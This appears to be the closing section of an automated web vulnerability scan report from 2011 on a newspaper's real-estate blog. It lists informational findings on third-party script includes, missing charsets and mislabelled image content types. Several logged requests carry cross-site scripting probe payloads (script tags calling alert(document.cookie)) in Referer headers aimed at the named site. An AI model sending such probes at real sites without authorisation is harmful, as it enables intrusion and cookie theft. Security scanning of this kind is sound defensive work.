<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...
<link rel="shortcut icon" type="image/x-icon" href="http://www.ocregister.com/favicon.ico" />
<script type="text/javascript" src="http://common.onset.freedom.com/tools/load.php?js=jquery-1.3.2.min,jquery-ui-1.7.1.custom.min,jquery.ifixpng,jqModal,jquery.jcarousel.pack,jquery.cookie,jquery.base64,global.ui,ocr_com_nav&amp;scode=ocregister"></script>
...[SNIP]...
<div id="stats"><script language="javascript" src="http://common.onset.freedom.com/fi/analytics/cms/?scode=ocregister&amp;domain=huntingtonhomes.freedomblogging.com&amp;ctype=blog&amp;cname=Trashed+H.B.+house+on+%26%238216%3BGood+Morning+America%26%238217%3B&amp;cauthor=Marilyn+Kalfus%2C+real+estate+reporter&amp;cid=505-127042&amp;&amp;shier=business|realestate|blogs|huntingtonhomes&amp;ghier=blogs|blog1"></script></div>
<div id="PageWrap">
   
   
       <script type="text/javascript" src="http://static.newstogram.com/ocregister/js/histogram.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=huntingtonhomes&amp;feedpath=/author/mkalfus/&amp;max=10&amp;description=0&amp;js=1"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=mortgage|lansner&amp;feedpath=author/mkalfus/feed/|author/mkalfus/feed/&amp;max=5&amp;description=0&amp;js=1&amp;multi=1"></script>
...[SNIP]...
<div id="afcblog" align="center"><script type="text/javascript" src="http://common.onset.freedom.com/fi/adsense/?scode=ocregister&amp;placement=blogs"></script>
...[SNIP]...
</script>
<script src="http://an.tacoda.net/an/15137/slf.js" language="JavaScript"></script>
...[SNIP]...

4.2. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /2011/02/03/repod-green-home-is-back-on-the-market/127100/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /2011/02/03/repod-green-home-is-back-on-the-market/127100/ HTTP/1.1
Host: huntingtonhomes.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php
Link: <http://huntingtonhomes.ocregister.com/?p=127100>; rel=shortlink
Last-Modified: Thu, 03 Feb 2011 19:05:43 +0000
Cache-Control: max-age=300, must-revalidate
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 77867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
</title>
<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...
<link rel="shortcut icon" type="image/x-icon" href="http://www.ocregister.com/favicon.ico" />
<script type="text/javascript" src="http://common.onset.freedom.com/tools/load.php?js=jquery-1.3.2.min,jquery-ui-1.7.1.custom.min,jquery.ifixpng,jqModal,jquery.jcarousel.pack,jquery.cookie,jquery.base64,global.ui,ocr_com_nav&amp;scode=ocregister"></script>
...[SNIP]...
<div id="stats"><script language="javascript" src="http://common.onset.freedom.com/fi/analytics/cms/?scode=ocregister&amp;domain=huntingtonhomes.freedomblogging.com&amp;ctype=blog&amp;cname=Repo%26%238217%3Bd+%26%238216%3Bgreen%26%238217%3B+home+is+back+on+the+market&amp;cauthor=Marilyn+Kalfus%2C+real+estate+reporter&amp;cid=505-127100&amp;&amp;shier=business|realestate|blogs|huntingtonhomes&amp;ghier=blogs|blog1"></script></div>
<div id="PageWrap">
   
   
       <script type="text/javascript" src="http://static.newstogram.com/ocregister/js/histogram.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=huntingtonhomes&amp;feedpath=/author/mkalfus/&amp;max=10&amp;description=0&amp;js=1"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=mortgage|lansner&amp;feedpath=author/mkalfus/feed/|author/mkalfus/feed/&amp;max=5&amp;description=0&amp;js=1&amp;multi=1"></script>
...[SNIP]...
<div id="afcblog" align="center"><script type="text/javascript" src="http://common.onset.freedom.com/fi/adsense/?scode=ocregister&amp;placement=blogs"></script>
...[SNIP]...
</script>
<script src="http://an.tacoda.net/an/15137/slf.js" language="JavaScript"></script>
...[SNIP]...

5. HTML does not specify charset  previous  next
There are 6 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


5.1. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_about2.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_about2.png

Request

GET /files/2011/01/huntington_about2.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 23:03:53 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 5515
ETag: "840303052bc820b90415cc4fd2a9be64"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]{.\e...W..w.{&..........@.*[b-k....*T....
X..%...Z+...+U.QYp..@.C7&...$...0.$.3=....}?.t.L.....U.;..KW
...[SNIP]...

5.2. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_demo.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_demo.png

Request

GET /files/2011/01/huntington_demo.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:33 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 7438
ETag: "f0282ca9ec79907a715caec6962b04c0"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]    .V........A.....i@PT..,Q$.M\..    ....2&.g<..h...".'&..M4...9c....5..(:Yd....M...^........../4..........
...[SNIP]...

5.3. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_foreclosures.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_foreclosures.png

Request

GET /files/2011/01/huntington_foreclosures.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:34 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 6031
ETag: "af71dcdb25f4f7eb8e1d7e594d2a15e1"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<...!IDATx..]i...........G..    .#0HBB.a....5.......A...c.....l....F..u.......![..F.B..%.%..>{.....3+.U.......G.z..i.
...[SNIP]...

5.4. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_guide.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_guide.png

Request

GET /files/2011/01/huntington_guide.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:34 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 6079
ETag: "af71dcdb25f4f7eb8e1d7e594d2a15e1"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<...QIDATx..]y.].y?.].}...3.f.....{l.....H.    4..."c.    Q    ..Q.&,I.'j.U..IHAj..UX... .M.I!...).............]......\....Z
...[SNIP]...

5.5. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_moreRE.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_moreRE.png

Request

GET /files/2011/01/huntington_moreRE.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://mortgage.ocregister.com/feeda71cd%22%3E%3Cscript%3Ealert(1)%3C/script%3E1f35e8c0ea2/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 16:31:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:33 GMT
Cache-Control: max-age=200, must-revalidate
Content-Length: 6500
ETag: "f0282ca9ec79907a715caec6962b04c0"
Expires: Sun, 06 Apr 2014 02:16:32 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]gl\..~.L/..6.b.(J..\..Zv.`.$...f.,.....v.8Yl."."q.....d....6.......%Q....UY$.CR$..i...g..OOC.%m.k.y...
...[SNIP]...

5.6. http://huntingtonhomes.ocregister.com/files/2011/02/KobeBryant272.jpg  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/02/KobeBryant272.jpg

Request

GET /files/2011/02/KobeBryant272.jpg HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Thu, 03 Feb 2011 01:32:53 GMT
Cache-Control: max-age=157, must-revalidate
Content-Length: 61117
ETag: "e3fca7fd22396da63de8f3abb48ac6cd"
Expires: Mon, 07 Apr 2014 05:10:08 GMT
Content-Type: text/html

......JFIF.....H.H.....&Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................H.......H....Adobe Photoshop CS Windows.2011:02:02 17:33:02..........
...[SNIP]...

6. Content type incorrectly stated  previous
There are 6 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_about2.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_about2.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a PNG image.

Request

GET /files/2011/01/huntington_about2.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 23:03:53 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 5515
ETag: "840303052bc820b90415cc4fd2a9be64"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]{.\e...W..w.{&..........@.*[b-k....*T....
X..%...Z+...+U.QYp..@.C7&...$...0.$.3=....}?.t.L.....U.;..KW
...[SNIP]...

6.2. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_demo.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_demo.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a PNG image.

Request

GET /files/2011/01/huntington_demo.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:33 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 7438
ETag: "f0282ca9ec79907a715caec6962b04c0"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]    .V........A.....i@PT..,Q$.M\..    ....2&.g<..h...".'&..M4...9c....5..(:Yd....M...^........../4..........
...[SNIP]...

6.3. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_foreclosures.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_foreclosures.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a PNG image.

Request

GET /files/2011/01/huntington_foreclosures.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:34 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 6031
ETag: "af71dcdb25f4f7eb8e1d7e594d2a15e1"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<...!IDATx..]i...........G..    .#0HBB.a....5.......A...c.....l....F..u.......![..F.B..%.%..>{.....3+.U.......G.z..i.
...[SNIP]...

6.4. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_guide.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_guide.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a PNG image.

Request

GET /files/2011/01/huntington_guide.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:34 GMT
Cache-Control: max-age=158, must-revalidate
Content-Length: 6079
ETag: "af71dcdb25f4f7eb8e1d7e594d2a15e1"
Expires: Mon, 07 Apr 2014 05:10:09 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<...QIDATx..]y.].y?.].}...3.f.....{l.....H.    4..."c.    Q    ..Q.&,I.'j.U..IHAj..UX... .M.I!...).............]......\....Z
...[SNIP]...

6.5. http://huntingtonhomes.ocregister.com/files/2011/01/huntington_moreRE.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/01/huntington_moreRE.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a PNG image.

Request

GET /files/2011/01/huntington_moreRE.png HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://mortgage.ocregister.com/feeda71cd%22%3E%3Cscript%3Ealert(1)%3C/script%3E1f35e8c0ea2/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 16:31:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Fri, 07 Jan 2011 22:50:33 GMT
Cache-Control: max-age=200, must-revalidate
Content-Length: 6500
ETag: "f0282ca9ec79907a715caec6962b04c0"
Expires: Sun, 06 Apr 2014 02:16:32 GMT
Content-Type: text/html

.PNG
.
...IHDR.......2.............gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]gl\..~.L/..6.b.(J..\..Zv.`.$...f.,.....v.8Yl."."q.....d....6.......%Q....UY$.CR$..i...g..OOC.%m.k.y...
...[SNIP]...

6.6. http://huntingtonhomes.ocregister.com/files/2011/02/KobeBryant272.jpg  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://huntingtonhomes.ocregister.com
Path:   /files/2011/02/KobeBryant272.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a JPEG image.

Request

GET /files/2011/02/KobeBryant272.jpg HTTP/1.1
Host: huntingtonhomes.ocregister.com
Proxy-Connection: keep-alive
Referer: http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E784ccd9e713/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_nr=1296750767605; s_lastvisit=1296846841969; fi_dslv=Less%20than%207%20days; s_vnum_w=1296972000168%26vn%3D2; s_vnum_m=1298959200170%26vn%3D2; AxData=; Axxd=1; s_cc=true; sinvisit_w=true; sinvisit_m=true; s_sq=%5B%5BB%5D%5D; 44146092a8373b49c062f68d9825aa14=1

Response

HTTP/1.1 200 OK
Date: Fri, 04 Feb 2011 19:25:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Thu, 03 Feb 2011 01:32:53 GMT
Cache-Control: max-age=157, must-revalidate
Content-Length: 61117
ETag: "e3fca7fd22396da63de8f3abb48ac6cd"
Expires: Mon, 07 Apr 2014 05:10:08 GMT
Content-Type: text/html

......JFIF.....H.H.....&Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................H.......H....Adobe Photoshop CS Windows.2011:02:02 17:33:02..........
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 13:28:08 CST 2011.